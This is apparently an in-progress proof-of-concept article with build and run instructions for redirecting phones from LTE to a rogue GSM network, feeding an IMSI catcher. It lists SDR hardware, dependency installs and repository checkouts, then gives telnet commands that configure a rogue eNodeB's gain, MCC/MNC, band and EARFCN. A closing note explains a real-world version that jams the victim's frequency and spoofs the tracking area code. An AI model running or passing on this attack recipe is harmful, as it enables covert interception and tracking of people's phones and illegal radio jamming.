LTE Redirection Attack

Redirect attack from long term evolution (LTE 4G) to global system mobile (GSM 2G): article in progress
Install From Scratch:

Tested with :
LimeSDR-Mini + 2 Motorola (C1XX series osmocom-bb compatibles)
or BladeRF-xA4 + 2 Motorola
or BladeRF-xA4 + LimeSDR-Mini
Kali Linux 2019.4 (Gnome AMD64) (Docker)

Install the dependencies :

apt update

apt upgrade

apt install libboost1.67* libpython3.8-dev cmake build-essential  python3-pyqt4 python3-qwt  python3-guiqwt python3-pyqt5.qwt python-qt4 libgmp-dev libxi-dev libgsl-dev libcppunit-dev libx11-6 libx11-dev flex libncurses5 libncurses5-dev libncursesw6 libpcsclite-dev libsdl1.2-dev zlib1g-dev libmpfr6 libmpc3 lemon aptitude libtinfo-dev libtool shtool autoconf git-core pkg-config make libmpfr-dev python-cheetah  libmpc-dev libtalloc-dev libfftw3-dev libgnutls28-dev libssl1.0-dev libtool-bin python-lxml libxml2-dev python-sip  libqt4-opengl-dev sofia-sip-bin libsofia-sip-ua-dev sofia-sip-bin libncursesw5-dev bison libgmp3-dev alsa-oss asn1c libdbd-sqlite3 libboost-all-dev libusb-1.0-0-dev python-mako python3-mako doxygen python-docutils cmake build-essential g++ libpython-dev python-numpy python3-numpy swig libsqlite3-dev libi2c-dev libwxgtk3.0-gtk3-dev freeglut3-dev composer phpunit python3-pip python-pip libfontconfig1-dev libxrender-dev python-sip-dev python-sphinx libusb-dev libusb-1.0.0-dev libcomedi-dev libzmq3-dev

pip install requests
pip3 install requests

4G Redirect

Clone or download the necessary repositories :

git clone https://github.com/ettusresearch/uhd tested with checkout aea0e2de34803d5ea8f25d7cf2fb08f4ab9d43f0
git clone https://github.com/pothosware/SoapySDR tested with checkout f722f9ce5b629c3c44401a9bf628b3f8e67a9695
git clone https://github.com/nuand/BladeRF (necessary even if you don’t have a blade) tested with checkout 45521019c540392287eb6e03d52b8073b2fd0743
git clone https://github.com/pothosware/SoapyBladeRF (only if you have a BladeRF) tested with checkout 1c1e8aaba5e8ee154b34c6c3b17743d1c9b9a1ea
git clone https://github.com/pothosware/SoapyUHD tested with checkout 47972ba8b96beffb79915e300acea168bacd8d84
git clone https://github.com/myriadrf/LimeSuite only if you have a LimeSDR) tested with checkout c931854ead81307206bce750c17c2301810b5545
git clone https://github.com/gnuradio/gnuradio tested with checkout 2d7f82342c1d63a1c4d7e18eb1289636ebcbb855
git clone https://github.com/osmocmo/gr-osmosdr tested with checkout 4d83c60
wget https://tls.mbed.org/download/polarssl-1.3.7-gpl.tgz && tar zxvf polarssl-1.3.7-gpl.tgz
git clone https://github.com/bbaranoff/openlte tested with checkout 4bd673b

Compilation (same order for the compilation than from the git clone(s) or download)
cd dir_to_compile
(git submodule init && git submodule update) -> only for gnuradio
(cd host) -> only for uhd

mkdir build
cd build
cmake ..
make -j$nproc
make install
ldconfig

Then build 2G IMSI-Catcher
Build IMSI-catcher

Running
Phone in 2G/3G/4G mode
This article is in progress and is just a PoC
The attack step are run the IMSI-catcher into arfcn 514 follow (see Build IMSI-catcher)
run the 4G redirector as follow

Shell #1
LTE_fdd_enodeb

Shell #2
telnet localhost 30000
write rx_gain 30
write tx_gain 80
write mcc 215
write mnc 15
write band 7
write dl_earfcn 3350
(change with your ue values be careful that the earfcn is in the band)

Then switch the phone in airplane mode and in localhost:30000 (Shell #2)
start

wait… and when you have “ok” answer in shell #2 remove airplane mode and … enjoy !

PS:for real world attack (without switching airplane mode) you have to gather some informations you have to jam the freq of the ue (freq1) then when you know the hopping freq of the ue (freq2) you have to run enb redirector (openlte modified) with freq2 mcc mnc and tac close to the real tac and then enb jammer (srslte non modified) with mcc mnc and freq1 and here we are good!